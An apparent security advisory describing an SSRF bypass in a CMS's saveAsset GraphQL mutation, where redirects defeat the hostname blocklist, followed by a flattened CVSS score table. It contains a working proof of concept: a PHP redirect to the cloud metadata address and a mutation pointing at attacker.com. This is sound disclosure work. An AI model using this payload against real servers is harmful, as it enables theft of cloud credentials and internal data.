The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
redirect.php):<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
attacker.com (passes)169.254.169.2544.16.185.8.22Exploitability
AV:NAC:LAT:NPR:NUI:NVulnerable System
VC:LVI:LVA:NSubsequent System
SC:NSI:NSA:N6.9/CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X